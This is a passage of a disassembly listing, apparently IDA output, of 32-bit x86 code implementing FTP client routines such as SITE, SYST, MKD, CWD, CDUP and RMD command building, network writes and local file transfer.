loc_42D8A4: ; CODE XREF: sub_42D580+2Bj
; sub_42D580+D2j ...
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 134h
retn
sub_42D580 endp
; ---------------------------------------------------------------------------
dw 0BC83h
dd 15024h, 41754100h, 200068h, 40E89000h, 83777FEBh, 0C53B04C4h
dd 75144689h, 5438682Ch, 0E8900044h, 77809516h, 5704C483h
dd 9621E8h, 30E85600h, 90777FE9h, 8304C483h, 5E5FFFC8h
dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh
dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h
dd 40h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DA60 proc near ; CODE XREF: sub_42D2C0+1BEp
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 124h
push ebx
mov ebx, [esp+128h+arg_0]
push ebp
push esi
mov esi, [esp+130h+arg_4]
mov eax, [ebx+8]
xor ebp, ebp
push edi
mov ecx, [esi+8]
mov [esp+134h+var_FC], eax
cmp ecx, eax
mov [esp+134h+var_100], ecx
mov [esp+134h+var_104], 2
mov [esp+134h+var_118], ebp
mov [esp+134h+var_11C], 1Eh
jge short loc_42DAA2
mov ecx, eax
loc_42DAA2: ; CODE XREF: sub_42DA60+3Ej
lea eax, [esp+134h+var_11C]
lea edx, [esp+134h+var_104]
push eax
push ebp
push ebp
inc ecx
push edx
push ecx
call sub_436F12
sub_42DA60 endp
; ---------------------------------------------------------------------------
db 83h, 0F8h, 0FFh
dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h
dd 0C4837780h, 44C68304h, 0B5E85650h, 9077819Fh, 83084B8Bh
dd 0E8510CC4h, 941Eh, 86B895Fh, 0C0335D5Eh, 24C4815Bh
dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455D0BEh, 0A4A5F300h
dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh, 14245489h
dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh
dd 0C3000001h, 10244C8Bh, 10068h, 6BE85100h, 90778096h
dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h, 86B890Ch
dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h
dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h
dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42DC70 proc near ; CODE XREF: sub_402248j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 1
jz short loc_42DC81
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DC81: ; CODE XREF: sub_42DC70+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42DC9D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42CC50
add esp, 0Ch
jmp short loc_42DCC4
; ---------------------------------------------------------------------------
loc_42DC9D: ; CODE XREF: sub_42DC70+17j
call sub_42CE80
add esp, 4
cmp eax, 1
jz short loc_42DCAF
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DCAF: ; CODE XREF: sub_42DC70+38j
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_436EFA
loc_42DCC4: ; CODE XREF: sub_42DC70+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42DCD0
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DCD0: ; CODE XREF: sub_42DC70+59j
mov ecx, [esi+38h]
add ecx, edi
mov [esi+38h], ecx
mov edx, ecx
mov ecx, [esi+30h]
test ecx, ecx
jz short loc_42DD0F
mov eax, [esi+3Ch]
test eax, eax
jz short loc_42DD0F
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, eax
pop ebx
jle short loc_42DD0F
mov eax, [esi+34h]
push eax
push edx
push esi
call ecx
add esp, 0Ch
test eax, eax
jnz short loc_42DD08
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DD08: ; CODE XREF: sub_42DC70+93j
mov dword ptr [esi+40h], 0
loc_42DD0F: ; CODE XREF: sub_42DC70+6Fj
; sub_42DC70+76j ...
mov eax, edi
pop edi
pop esi
retn
sub_42DC70 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DD50 proc near ; CODE XREF: sub_4021F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 2
jz short loc_42DD61
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DD61: ; CODE XREF: sub_42DD50+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42DD7D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42DE20
add esp, 0Ch
jmp short loc_42DD9A
; ---------------------------------------------------------------------------
loc_42DD7D: ; CODE XREF: sub_42DD50+17j
call sub_42CE80
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
mov ecx, [esi+8]
add esp, 4
push 0
push edx
push eax
push ecx
call sub_436F00
; ---------------------------------------------------------------------------
loc_42DD9A: ; CODE XREF: sub_42DD50+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42DDA6
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DDA6: ; CODE XREF: sub_42DD50+4Fj
mov edx, [esi+38h]
mov eax, [esi+30h]
add edx, edi
test eax, eax
mov [esi+38h], edx
jz short loc_42DDDC
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_42DDDC
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, ecx
pop ebx
jle short loc_42DDDC
mov ecx, [esi+34h]
push ecx
push edx
push esi
call eax
add esp, 0Ch
mov dword ptr [esi+40h], 0
loc_42DDDC: ; CODE XREF: sub_42DD50+63j
; sub_42DD50+6Aj ...
mov eax, edi
pop edi
pop esi
retn
sub_42DD50 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DE20 proc near ; CODE XREF: sub_42DD50+23p
; sub_42DFD0+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_8]
push esi
xor esi, esi
xor al, al
mov ecx, [ebp+18h]
push edi
cmp ecx, 2
jz short loc_42DE3C
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DE3C: ; CODE XREF: sub_42DE20+12j
mov ecx, [esp+10h+arg_4]
mov edi, [ebp+14h]
xor ebx, ebx
test ecx, ecx
jle loc_42DF64
loc_42DE4D: ; CODE XREF: sub_42DE20+AFj
mov ecx, [esp+10h+arg_0]
cmp byte ptr [ebx+ecx], 0Ah
jnz short loc_42DE8E
cmp al, 0Dh
jz short loc_42DE8E
cmp esi, 2000h
jnz short loc_42DE89
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jz short loc_42DEEA
mov edx, [ebp+8]
push 0
push esi
push edi
push edx
call sub_436F00
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42DEF1
xor esi, esi
loc_42DE89: ; CODE XREF: sub_42DE20+41j
mov byte ptr [edi+esi], 0Dh
inc esi
loc_42DE8E: ; CODE XREF: sub_42DE20+35j
; sub_42DE20+39j
cmp esi, 2000h
jnz short loc_42DEBC
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jz short loc_42DEEA
mov eax, [ebp+8]
push 0
push esi
push edi
push eax
call sub_436F00
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42DF11
xor esi, esi
loc_42DEBC: ; CODE XREF: sub_42DE20+74j
mov ecx, [esp+10h+arg_0]
inc esi
mov al, [ebx+ecx]
mov ecx, [esp+10h+arg_4]
mov [edi+esi-1], al
inc ebx
cmp ebx, ecx
jl loc_42DE4D
test esi, esi
jz loc_42DF64
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jnz short loc_42DF31
loc_42DEEA: ; CODE XREF: sub_42DE20+4Ej
; sub_42DE20+81j
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DEF1: ; CODE XREF: sub_42DE20+65j
call near ptr 77C1F2BCh
nop
mov edx, [eax]
push edx
push esi
push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n"
call near ptr 77C4186Ah
nop
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DF11: ; CODE XREF: sub_42DE20+98j
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
push esi
push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DF31: ; CODE XREF: sub_42DE20+C8j
mov ecx, [ebp+8]
push 0
push esi
push edi
push ecx
call sub_436F00
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 2074FE3Bh, 1372E890h, 108B777Fh, 0F8685752h, 90004455h
dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------
loc_42DF64: ; CODE XREF: sub_42DE20+27j
; sub_42DE20+B7j
mov eax, [esp+10h+arg_4]
pop edi
pop esi
pop ebp
pop ebx
retn
sub_42DE20 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DFD0 proc near ; CODE XREF: sub_401BDBj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+18h]
sub eax, 0
jz short loc_42E04B
dec eax
jz short loc_42E000
dec eax
jz short loc_42DFEC
loc_42DFE4: ; CODE XREF: sub_42DFD0+64j
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DFEC: ; CODE XREF: sub_42DFD0+12j
mov eax, [esi+14h]
test eax, eax
jz short loc_42E000
push esi
push 0
push 0
call sub_42DE20
add esp, 0Ch
loc_42E000: ; CODE XREF: sub_42DFD0+Fj
; sub_42DFD0+21j
mov eax, [esi+14h]
push ebx
mov ebx, dword_50FAC4
test eax, eax
jz short loc_42E014
push eax
call ebx ; dword_50FAC4
add esp, 4
loc_42E014: ; CODE XREF: sub_42DFD0+3Cj
mov eax, [esi+8]
push 2
push eax
call sub_436F9C
; ---------------------------------------------------------------------------
mov ecx, [esi+8]
push ecx
call sub_436F06
; ---------------------------------------------------------------------------
mov edi, [esi+1Ch]
push esi
call ebx ; dword_50FAC4
add esp, 4
test edi, edi
pop ebx
jz short loc_42DFE4
push edi
push 32h
mov dword ptr [edi+20h], 0
call sub_42CB10
add esp, 8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E04B: ; CODE XREF: sub_42DFD0+Cj
mov eax, [esi+20h]
test eax, eax
jz short loc_42E062
push esi
mov dword ptr [esi+1Ch], 0
call sub_401BDB
add esp, 4
loc_42E062: ; CODE XREF: sub_42DFD0+80j
mov edx, [esi+8]
push edx
call sub_436F06
sub_42DFD0 endp
; ---------------------------------------------------------------------------
db 56h
db 90h
db 0E8h, 0A9h, 0E1h
dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42E0B0: ; CODE XREF: ___:00401CE4j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42E0D9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E0D9: ; CODE XREF: ___:0042E0D0j
push edx
lea eax, [esp+4]
push offset aSiteS ; "SITE %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E130: ; CODE XREF: ___:004016C2j
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset aSyst ; "SYST"
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42E151
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E151: ; CODE XREF: ___:0042E14Cj
mov eax, [esp+10h]
lea ecx, [edi+48h]
lea edx, [eax-1]
test edx, edx
jz short loc_42E16C
loc_42E15F: ; CODE XREF: ___:0042E16Aj
mov al, [ecx]
cmp al, 20h
jz short loc_42E16C
mov [esi], al
inc esi
inc ecx
dec edx
jnz short loc_42E15F
loc_42E16C: ; CODE XREF: ___:0042E15Dj
; ___:0042E163j
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E1A0: ; CODE XREF: ___:0040224Dj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E1C9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E1C9: ; CODE XREF: ___:0042E1C0j
push edx
lea eax, [esp+4]
push offset aMkdS ; "MKD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E220: ; CODE XREF: ___:0040225Cj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E249
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E249: ; CODE XREF: ___:0042E240j
push edx
lea eax, [esp+4]
push offset aCwdS ; "CWD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2A0: ; CODE XREF: ___:00401780j
mov eax, [esp+4]
push eax
push 32h
push offset aCdup ; "CDUP"
call sub_42D1A0
add esp, 0Ch
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2D0: ; CODE XREF: ___:004021FDj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E2F9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E2F9: ; CODE XREF: ___:0042E2F0j
push edx
lea eax, [esp+4]
push offset aRmdS ; "RMD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E350: ; CODE XREF: ___:0040166Dj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset off_4456BC
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42E371
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E371: ; CODE XREF: ___:0042E36Cj
add edi, 44h
push 22h
push edi
nop
call near ptr 77C47660h
add esp, 8
test eax, eax
jnz short loc_42E387
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E387: ; CODE XREF: ___:0042E382j
mov ecx, [esp+10h]
inc eax
lea edx, [ecx-1]
test edx, edx
jz short loc_42E3A5
loc_42E393: ; CODE XREF: ___:0042E3A3j
mov cl, [eax]
test cl, cl
jz short loc_42E3A5
cmp cl, 22h
jz short loc_42E3A5
mov [esi], cl
inc esi
inc eax
dec edx
jnz short loc_42E393
loc_42E3A5: ; CODE XREF: ___:0042E391j
; ___:0042E397j ...
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E3D0: ; CODE XREF: ___:00401127j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 1
push eax
push ecx
push edx
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E400 proc near ; CODE XREF: ___:0042E3E3p
; ___:0042E663p ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push ecx
mov eax, [esp+4+arg_0]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov edi, [esp+14h+arg_10]
cmp eax, ebp
mov [esp+14h+var_4], 1
jz short loc_42E48A
mov esi, [esp+14h+arg_C]
mov cx, word_4456FC
cmp esi, 4
mov word ptr [esp+14h+arg_10], cx
mov word ptr [esp+14h+arg_10+2], bp
jnz short loc_42E43A
mov byte ptr [esp+14h+arg_10], 72h
loc_42E43A: ; CODE XREF: sub_42E400+33j
cmp edi, 49h
jnz short loc_42E444
mov byte ptr [esp+14h+arg_10+1], 62h
loc_42E444: ; CODE XREF: sub_42E400+3Dj
lea edx, [esp+14h+arg_10]
push edx
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
cmp ebx, ebp
jnz short loc_42E4A4
push 100h
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
call near ptr 77C371FAh
nop
mov ecx, [esp+1Ch+arg_8]
add esp, 4
add ecx, 44h
push eax
push ecx
nop
call near ptr 77C47A90h
add esp, 0Ch
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E48A: ; CODE XREF: sub_42E400+19j
mov esi, [esp+14h+arg_C]
cmp esi, 4
jnz short loc_42E49B
mov ebx, dword_50FA84
jmp short loc_42E4A4
; ---------------------------------------------------------------------------
loc_42E49B: ; CODE XREF: sub_42E400+91j
mov edx, dword_50FA84
lea ebx, [edx+20h]
loc_42E4A4: ; CODE XREF: sub_42E400+57j
; sub_42E400+99j
mov ecx, [esp+14h+arg_8]
mov edx, [esp+14h+arg_4]
lea eax, [esp+14h+arg_C]
push eax
push ecx
push edi
push esi
push edx
call sub_401F55
add esp, 14h
test eax, eax
jnz short loc_42E4C7
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E4C7: ; CODE XREF: sub_42E400+BFj
push 2000h
nop
call near ptr 77C2C407h
add esp, 4
cmp esi, 4
mov edi, eax
jnz short loc_42E53D
mov ebp, dword_50FAA4
push ebx
push 2000h
push 1
push edi
call ebp ; dword_50FAA4
mov esi, eax
add esp, 10h
test esi, esi
jle loc_42E593
loc_42E4FA: ; CODE XREF: sub_42E400+11Fj
mov eax, [esp+14h+arg_C]
push eax
push esi
push edi
call sub_4021F3
add esp, 0Ch
cmp eax, esi
jl short loc_42E523
push ebx
push 2000h
push 1
push edi
call ebp ; dword_50FAA4
mov esi, eax
add esp, 10h
test esi, esi
jg short loc_42E4FA
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E523: ; CODE XREF: sub_42E400+10Bj
push eax
push esi
push offset aShortWritePass ; "short write: passed %d, wrote %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
mov [esp+14h+var_4], 0
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E53D: ; CODE XREF: sub_42E400+DAj
mov ecx, [esp+14h+arg_C]
push ecx
push 2000h
push edi
call sub_402248
add esp, 0Ch
cmp eax, ebp
jle short loc_42E593
mov esi, dword_50FA94
loc_42E55A: ; CODE XREF: sub_42E400+17Dj
push ebx
push eax
push 1
push edi
call esi ; dword_50FA94
add esp, 10h
test eax, eax
jbe short loc_42E581
mov edx, [esp+14h+arg_C]
push edx
push 2000h
push edi
call sub_402248
add esp, 0Ch
cmp eax, ebp
jg short loc_42E55A
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E581: ; CODE XREF: sub_42E400+166j
push offset aLocalfileWrite ; "localfile write"
nop
call near ptr 77C36DF2h
add esp, 4
mov [esp+14h+var_4], ebp
loc_42E593: ; CODE XREF: sub_42E400+F4j
; sub_42E400+121j ...
push edi
nop
call near ptr 77C2C21Bh
push ebx
nop
call near ptr 77C3EEF6h
mov eax, [esp+1Ch+arg_0]
add esp, 8
test eax, eax
jz short loc_42E5B6
push ebx
nop
call near ptr 77C40AB1h
add esp, 4
loc_42E5B6: ; CODE XREF: sub_42E400+1AAj
mov eax, [esp+14h+arg_C]
push eax
call sub_401BDB
mov eax, [esp+18h+var_4]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42E400 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E650: ; CODE XREF: ___:0040169Fj
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 2
push eax
push ecx
push edx
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E680: ; CODE XREF: ___:00401D2Fj
sub esp, 108h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
mov ebx, [esp+110h]
push ebp
push esi
push edi
mov edi, ebx
repne scasb
not ecx
add ecx, 6
mov ebp, 1
cmp ecx, 100h
jbe short loc_42E6B7
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E6B7: ; CODE XREF: ___:0042E6AAj
movsx eax, byte ptr [esp+124h]
mov edi, dword_50FA60
push eax
lea ecx, [esp+1Ch]
push offset dword_445504
push ecx
call edi ; dword_50FA60
mov esi, [esp+134h]
lea edx, [esp+24h]
push esi
push 32h
push edx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42E6F8
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E6F8: ; CODE XREF: ___:0042E6EBj
push ebx
lea eax, [esp+1Ch]
push offset dword_445708
push eax
call edi ; dword_50FA60
push esi
lea ecx, [esp+28h]
push 32h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jz short loc_42E754
lea edx, [esp+10h]
lea eax, [esp+14h]
push edx
push eax
add esi, 44h
push offset dword_445700
push esi
nop
call near ptr 77C41B72h
add esp, 10h
cmp eax, 2
jnz short loc_42E754
mov ecx, [esp+120h]
mov edx, [esp+10h]
pop edi
mov eax, ebp
pop esi
pop ebp
mov [ecx], edx
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E754: ; CODE XREF: ___:0042E717j
; ___:0042E738j
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E7B0: ; CODE XREF: ___:004013BBj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push edi
mov edi, edx
mov ebx, 1
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
jbe short loc_42E7E0
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E7E0: ; CODE XREF: ___:0042E7D5j
push esi
push edx
lea eax, [esp+10h]
push offset dword_445714
push eax
nop
call near ptr 77C3F931h
mov esi, [esp+128h]
lea ecx, [esp+18h]
push esi
push 32h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42E81B
xor ebx, ebx
pop esi
mov eax, ebx
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E81B: ; CODE XREF: ___:0042E80Bj
mov edx, [esp+118h]
mov eax, [esp+114h]
add esi, 48h
push edx
push esi
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
mov eax, ebx
pop esi
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E880 proc near ; CODE XREF: sub_4016A9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_C = dword ptr 10h
movsx eax, [esp+arg_8]
mov ecx, [esp+arg_C]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 3
push ecx
push edx
push eax
call sub_42E400
add esp, 14h
retn
sub_42E880 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E8B0: ; CODE XREF: ___:004016C7j
movsx eax, byte ptr [esp+0Ch]
mov ecx, [esp+10h]
mov edx, [esp+8]
push eax
mov eax, [esp+8]
push 4
push ecx
push edx
push eax
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E8E0: ; CODE XREF: ___:00401492j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42E979
mov ebx, [esp+114h]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42E979
mov esi, dword_50FA60
push edx
lea eax, [esp+10h]
push offset dword_44572C
push eax
call esi ; dword_50FA60
mov edi, [esp+124h]
lea ecx, [esp+18h]
push edi
push 33h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jz short loc_42E979
push ebx
lea edx, [esp+10h]
push offset dword_445720
push edx
call esi ; dword_50FA60
push edi
lea eax, [esp+1Ch]
push 32h
push eax
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E979: ; CODE XREF: ___:0042E901j
; ___:0042E91Cj ...
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E9C0: ; CODE XREF: ___:00401C67j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42E9E9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E9E9: ; CODE XREF: ___:0042E9E0j
push edx
lea eax, [esp+4]
push offset dword_445738
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42EA40 proc near ; CODE XREF: sub_401D52j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+18h]
test eax, eax
jnz short loc_42EA79
push edi
push esi
